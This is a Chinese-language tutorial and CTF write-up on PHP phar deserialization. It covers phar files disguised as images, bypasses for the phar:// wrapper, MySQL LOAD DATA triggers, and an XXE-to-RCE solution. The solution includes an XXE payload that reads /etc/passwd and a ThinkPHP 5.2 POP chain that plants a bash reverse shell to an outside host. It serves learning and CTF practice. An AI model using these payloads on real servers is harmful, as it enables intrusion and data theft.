0x00前言
在php中反序列漏洞,形成的原因首先需要一个unserialize()
函数来处理我们传入的可控的序列化payload。但是如果对unserialize()
传入的内容进行限制,甚至就不存在可利用的unserialize()
函数的时候,就可以借助phar
协议触发反序列化操作了
0x01 构造有反序列化payload的phar文件
首先,phar是一种php语言的文件的后缀,所以生成phar文件要用到php语言,需要在php.ini
中开启相应的配置
phar.readonly = Off
生成phar文件的代码如下
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
//设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data=\'just a test\';
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
尝试一下,生成带有payload的文件
简单的说下phar文件格式
phar
文件头的识别格式是xxx
+<?php __HALT_COMPILER(); ?>
,只有这样的格式才能被识别为phar
文件phar
是压缩文件,那么压缩文件的信息就会存在第二段manifest describing,这一段是放序列化的poc
- 压缩的文件的内容被存在第三段,也就是上面payload的中的
text.txt
- 数字签名为该
phar
的第四段
了解phar
文件格式,主要注意的点有2个,文件头的合法性和压缩文件信息处可自定义我们的payload
0x02 可触发phar协议的函数
利用一个漏洞,最初要知道payload从哪里传入,是哪个函数造成的,而php函数中支持伪协议的有很多,下面这张表就是能解析phar
协议的函数(用一下别人的图)
这些函数里面可以使用phar
协议,当然还有常用的文件包含的几个函数 include
、include_once
、requrie
、require_once
做一个简单的测试
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include "phar://phar.phar/test.txt";
?>
同理,使用unlink()
函数试试
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
unlink("phar://phar.phar/test.txt");
?>
可以看到,还是执行了,但是有warning
说php.ini
中的配置为phar.readonly
(我是在虚拟机中开启了phar.readonly =Off
生成的payload ,我本地是没有开的)
再测试下要有写权限的file_put_contents()
函数
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
file_put_contents("phar://phar.phar/test.txt","test.txt");
?>
结果是执行不了
因此虽然某些函数能够支持phar://
的协议,但是如果目标服务器没有关闭phar.readonly
时,就不能正常执行反序列化操作
在禁止phar开头的情况下的替代方法
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt #可能是我本地环境问题,我本地试报错找不到该协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
虽然会报warning,但是还是会执行
0x03 mysql触发反序列化
php调用mysql的语句LOAD DATA LOCAL INFILE
导入phar
文件也能触发phar
中的反序列化语句
首先说下LOAD DATA LOCAL INFILE
这条语言,这条语句是用来通过文件批量给表里面insert
数据的操作,完整的语句如下
LOAD DATA LOCAL INFILE \'1.txt\' into table user;
那么试试效果
这就是这条命令的正常用法
那么如果这个文件是利用了phar协议
处理了的phar
文件,格式如下
LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' into table user;
尝试一下,但是提示warning
, LOAD DATA LOCAL INFILE forbidden
这是因为还要修改mysql中的my.ini
中的配置,因此可以看出这种利用前提不是默认的,需要人为定义,添加下面的信息
local-infile=1
secure_file_priv=""
除了在my.ini
中配置以外,还有个坑,在php.ini
中需要将mysqli.allow_local_infile
前面的注释去掉
万事具备,写好代码
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
//include "php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt";
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, \'localhost\', \'root\', \'root\', \'ctf\', 3306);
$p = mysqli_query($m, \'LOAD DATA LOCAL INFILE \\\'phar://phar.phar/test.txt\\\' INTO TABLE user\');
?>
尝试一下,能够触发
甚至如果存在php语言写的mysql客户端可以任意连接远程mysql服务器的情况下
这种时候可以利用Rogue-MySql-Server
去读对方的任意文件
但是去读文件这个操作,如果使用phar协议
,那么依然可以触发反序列化,当然前提是你能把phar文件
传上去
0x04 通过XXE触发反序列化
本来在总结这道知识点的时候,学长发给我一道红帽CTF的题,刚好涉及到这方面的知识,运用的是XXE中使用phar协议来触发反序列化,并且系统使用thinkphp 5.2
,有公开的命令执行的pop链,拿shell,之后拿flag的一道题。
直接看题
随便输入,登录成功,进去后有一个输入框,有一个文件上传点,提示只能上传xml
输入框,输入后发现是传输的xml实体,于是试着利用XXE
查看下/etc/passwd
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<ticket><username>&c;</username><code>test2</code></ticket>
因为xxe能用file协议读,也可以用php://filter
协议读,那么这个地方也可以使用phar://
协议了
访问一个不存在的链接,发现使用的是thinkphp 5.2
,这个版本是有反序列化命令执行的pop链的
首先上传上去,题目会根据你登录的用户名和密码分配一个sandbox,
这里用NU1L战队的2019举办的N1CTF的反序列化pop链,然后我改了改
我这里第一步往我自己的sandbox下写反弹shell的sh脚本
第二步,使用bash执行这个sh脚本
<?php
namespace think\\process\\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\\model\\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\\concern\\Attribute;
use model\\concern\\Conversion;
}
}
namespace think\\model{
use think\\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\\model\\Pivot("echo \'bash -i >& /dev/tcp/mi0.xyz/2333 0>&1\' > /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
//$Conver = new think\\model\\Pivot("bash /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
$payload = new think\\process\\pipes\\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
生成phar文件,改后缀为xml上传
因为phar协议
,不管什么后缀,只要文件本身符合phar文件
格式,就能正确执行,利用XXE触发phar://
协议
第二步写执行test.sh
文件,再次上传个exp,利用XXE去访问
服务器成功拿到shell
这里直接cat /flag
被禁止了,直接运行./readfile
不行
之后就是*CTF 2019
的mywebsql 题目最后一步利用php脚本处理交互式的二进制文件交互
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
$cwd = \'/tmp\';
$env = array(\'some_option\' => \'aeiou\');
$process = proc_open(\'/readflag\', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
$output1 = fread($pipes[1],1024);
var_dump($output);
$output2 = fread($pipes[1],1024);
var_dump($output);
$output3 = fread($pipes[1],1024);
var_dump($output);
$calc = trim($output2);
$an = eval("return $calc;");
var_dump($an);
fwrite($pipes[0], (string)$an."\\n");
$output = stream_get_contents($pipes[1]);
var_dump($output);
$return_value = proc_close($process);
echo "command returned $return_value\\n";
}
?>
当然题目已经有很多师傅上传上去的脚本了,直接执行即可
我不清楚是不是我服务器的问题?但我学长可以正常使用该脚本拿到flag (orz)
之后又尝试了下,挺玄学的?